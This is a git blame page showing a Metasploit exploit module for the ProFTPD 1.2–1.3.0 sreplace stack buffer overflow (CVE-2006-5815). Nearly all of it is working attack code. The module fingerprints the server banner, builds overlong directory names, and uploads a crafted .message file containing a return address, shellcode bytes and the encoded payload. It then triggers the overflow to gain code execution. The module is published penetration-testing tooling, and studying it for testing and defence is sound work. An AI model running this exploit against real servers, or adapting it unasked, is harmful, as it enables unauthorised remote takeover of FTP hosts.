Files
metasploit-gs/modules/exploits/linux/ftp/proftp_sreplace.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

233 lines
6.7 KiB
Ruby
Raw Normal View History

##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
2013-08-30 16:28:54 -05:00
include Msf::Exploit::Remote::Ftp
2013-08-30 16:28:54 -05:00
def initialize(info = {})
super(update_info(info,
'Name' => 'ProFTPD 1.2 - 1.3.0 sreplace Buffer Overflow (Linux)',
'Description' => %q{
This module exploits a stack-based buffer overflow in versions 1.2 through
1.3.0 of ProFTPD server. The vulnerability is within the "sreplace" function
within the "src/support.c" file.
2013-08-30 16:28:54 -05:00
The off-by-one heap overflow bug in the ProFTPD sreplace function has been
discovered about 2 (two) years ago by Evgeny Legerov. We tried to exploit
this off-by-one bug via MKD command, but failed. We did not work on this bug
since then.
2013-08-30 16:28:54 -05:00
Actually, there are exists at least two bugs in sreplace function, one is the
mentioned off-by-one heap overflow bug the other is a stack-based buffer overflow
via 'sstrncpy(dst,src,negative argument)'.
2013-08-30 16:28:54 -05:00
We were unable to reach the "sreplace" stack bug on ProFTPD 1.2.10 stable
version, but the version 1.3.0rc3 introduced some interesting changes, among them:
2013-08-30 16:28:54 -05:00
1. another (integer) overflow in sreplace!
2. now it is possible to reach sreplace stack-based buffer overflow bug via
the "pr_display_file" function!
3. stupid '.message' file display bug
2013-08-30 16:28:54 -05:00
So we decided to choose ProFTPD 1.3.0 as a target for our exploit.
To reach the bug, you need to upload a specially created .message file to a
writeable directory, then do "CWD <writeable directory>" to trigger the invocation
of sreplace function.
2013-08-30 16:28:54 -05:00
Note that ProFTPD 1.3.0rc3 has introduced a stupid bug: to display '.message'
file you also have to upload a file named '250'. ProFTPD 1.3.0 fixes this bug.
2013-08-30 16:28:54 -05:00
The exploit is a part of VulnDisco Pack since Dec 2005.
},
'Author' =>
[
2014-07-11 12:45:23 -05:00
'Evgeny Legerov <admin[at]gleg.net>', # original .pm version (VulnDisco)
'jduck' # Metasploit 3.x port
],
'References' =>
[
[ 'CVE', '2006-5815' ],
[ 'OSVDB', '68985' ],
[ 'BID', '20992' ],
2018-09-15 18:54:45 -05:00
[ 'URL', 'https://seclists.org/bugtraq/2006/Nov/94' ],
[ 'URL', 'https://seclists.org/bugtraq/2006/Nov/538' ],
[ 'URL', 'http://bugs.proftpd.org/show_bug.cgi?id=2858' ],
[ 'URL', 'http://proftp.cvs.sourceforge.net/proftp/proftpd/src/main.c?view=diff&r1=text&tr1=1.292&r2=text&tr2=1.294&diff_format=h' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'PrependChrootBreak' => true
},
'Privileged' => true,
'Payload' =>
{
'Space' => 900,
'BadChars' => "\x00\x0a\x0d\x25",
'DisableNops' => 'True',
},
'Platform' => [ 'linux' ],
'Targets' =>
[
#
# Automatic targeting via fingerprinting
#
[ 'Automatic Targeting', { 'auto' => true } ],
2013-08-30 16:28:54 -05:00
#
# This special one comes first since we dont want its index changing.
#
[ 'Debug',
{
'Ret' => 0x41414242,
'PoolAddr' => 0x43434545
}
],
2013-08-30 16:28:54 -05:00
#
# specific targets
#
2013-08-30 16:28:54 -05:00
[ "ProFTPD 1.3.0 (source install) / Debian 3.1",
{
# objdump -D proftpd|grep call|grep edx
'Ret' => 0x804afc8, # call edx
# nm proftpd|grep permanent_pool
'PoolAddr' => 0x80b59f8
}
]
2013-08-30 16:28:54 -05:00
],
'DefaultTarget' => 0,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2006-11-26'))
2013-08-30 16:28:54 -05:00
register_options(
[
OptString.new('WRITABLE', [ true, 'A writable directory on the target host', '/incoming' ])
])
end
2013-08-30 16:28:54 -05:00
def check
# NOTE: We don't care if the login failed here...
ret = connect
2013-08-30 16:28:54 -05:00
# We just want the banner to check against our targets..
2014-01-22 11:20:10 -06:00
vprint_status("FTP Banner: #{banner.strip}")
2013-08-30 16:28:54 -05:00
status = CheckCode::Safe
2013-08-30 16:28:54 -05:00
if banner =~ /ProFTPD (1\.[23]\.[^ ])/i
ver = $1
maj,min,rel = ver.split('.')
relv = rel.slice!(0,1)
case relv
when '2'
2014-01-24 12:08:23 -06:00
status = CheckCode::Appears
2013-08-30 16:28:54 -05:00
when '3'
# 1.3.x before 1.3.1 is vulnerable
2014-01-24 12:08:23 -06:00
status = CheckCode::Appears
if rel.length > 0
if rel.to_i > 0
status = CheckCode::Safe
else
2014-01-24 12:08:23 -06:00
status = CheckCode::Appears
end
end
end
end
2013-08-30 16:28:54 -05:00
disconnect
return status
end
2013-08-30 16:28:54 -05:00
def exploit
connect_login
2013-08-30 16:28:54 -05:00
# Use a copy of the target
mytarget = target
2013-08-30 16:28:54 -05:00
if (target['auto'])
mytarget = nil
2013-08-30 16:28:54 -05:00
print_status("Automatically detecting the target...")
if (banner and (m = banner.match(/ProFTPD (1\.[23]\.[^ ])/i))) then
print_status("FTP Banner: #{banner.strip}")
version = m[1]
else
2013-08-15 14:14:46 -05:00
fail_with(Failure::NoTarget, "No matching target")
end
2013-08-30 16:28:54 -05:00
regexp = Regexp.escape(version)
self.targets.each do |t|
if (t.name =~ /#{regexp}/) then
mytarget = t
break
end
end
2013-08-30 16:28:54 -05:00
if (not mytarget)
2013-08-15 14:14:46 -05:00
fail_with(Failure::NoTarget, "No matching target")
end
2013-08-30 16:28:54 -05:00
print_status("Selected Target: #{mytarget.name}")
else
print_status("Trying target #{mytarget.name}...")
if banner
print_status("FTP Banner: #{banner.strip}")
end
end
2013-08-30 16:28:54 -05:00
#puts "attach and press any key"; bleh = $stdin.gets
res = send_cmd(['CWD', datastore['WRITABLE']])
2013-08-30 16:28:54 -05:00
pwd = send_cmd(['PWD'])
if pwd !~ /257\s\"(.+)\"/
2013-08-15 14:14:46 -05:00
fail_with(Failure::Unknown, "Unable to get current working directory")
end
pwd = $1
pwd << "/" if pwd[-1,1] != "/"
2013-08-30 16:28:54 -05:00
dir1 = "A" * (251 - pwd.length)
res = send_cmd(['MKD', dir1])
2013-08-30 16:28:54 -05:00
res = send_cmd(['CWD', dir1])
2013-08-30 16:28:54 -05:00
res = send_cmd(['PWD'])
2013-08-30 16:28:54 -05:00
dir2 = "B" * 64
dir2 << [mytarget.ret].pack('V')
dir2 << [mytarget['PoolAddr'] - 4].pack('V')
dir2 << "\xcc" * 28
2013-08-30 16:28:54 -05:00
res = send_cmd(['DELE', "#{dir2}/.message"])
res = send_cmd(['DELE', "250"])
res = send_cmd(['RMD', dir2])
2013-08-30 16:28:54 -05:00
filedata = ''
filedata << 'A'
filedata << "\x66\x81\xc2\x5e\x13\x52\xc3"; # add $0x135e, %dx; push %edx; ret
filedata << "\x25C" * 11
filedata << 'A'
filedata << payload.encoded
filedata << rand_text_alphanumeric(900 - payload.encoded.length)
filedata << "\x25\x43\x41" * 10
2013-08-30 16:28:54 -05:00
res = send_cmd(['MKD', dir2])
res = send_cmd_data(['PUT', "#{dir2}/.message"], filedata, 'I')
2013-08-30 16:28:54 -05:00
# Trigger sreplace overflow
res = send_cmd(['CWD', dir2])
2013-08-30 16:28:54 -05:00
handler
disconnect
2013-08-30 16:28:54 -05:00
end
end